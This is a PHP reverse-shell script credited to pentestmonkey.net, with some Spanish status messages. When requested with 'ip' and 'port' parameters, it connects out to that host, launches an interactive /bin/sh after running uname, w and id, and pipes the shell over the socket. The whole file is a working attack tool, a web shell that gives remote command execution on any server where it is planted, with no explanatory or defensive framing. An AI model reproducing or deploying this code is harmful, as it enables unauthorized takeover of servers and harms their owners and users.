reverse-shell pentestmonkey

<?php
if (isset($_GET['ip']) && isset($_GET['port'])) {
#by http://pentestmonkey.net/

set_time_limit(0);
$write_a = null;
$error_a = null;
$daemon = 0;
$debug = 0;
$chunk_size = 1400;
$host= $_GET['ip'];
$port = $_GET['port'];
$comando='uname -a; w; id; /bin/sh -i';
$socks = fsockopen($host, $port, $errno, $errstr, 30);
if (!$socks) {
    printit("$errstr ($errno)");
    exit(1);
}

$descriptorspec = array(
  0 => array("pipe", "r"),
  1 => array("pipe", "w"),
  2 => array("pipe", "w")
);
$process=proc_open($comando,$descriptorspec,$pipes);

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($socks, 0);
echo '<script>alert("Conectado a '. $host .'");</script>';
while (1) {

    if (feof($socks)) {
        printit("ERROR: Shell [*] Connection Terminada");
        break;
    }
    if (feof($pipes[1])) {
        printit("ERROR: Shell [*] Proceso Terminado");
        break;
    }

    $read_a = array($socks, $pipes[1], $pipes[2]);
    $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

    if (in_array($socks, $read_a)) {
        if ($debug) printit("SOCK READ");
        $input = fread($socks, $chunk_size);
        if ($debug) printit("SOCK: $input");
        fwrite($pipes[0], $input);
    }

    if (in_array($pipes[1], $read_a)) {
        if ($debug) printit("STDOUT READ");
        $input = fread($pipes[1], $chunk_size);
        if ($debug) printit("STDOUT: $input");
        fwrite($socks, $input);
    }

    if (in_array($pipes[2], $read_a)) {
        if ($debug) printit("STDERR READ");
        $input = fread($pipes[2], $chunk_size);
        if ($debug) printit("STDERR: $input");
        fwrite($socks, $input);
    }
}
fclose($socks);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process); }

?>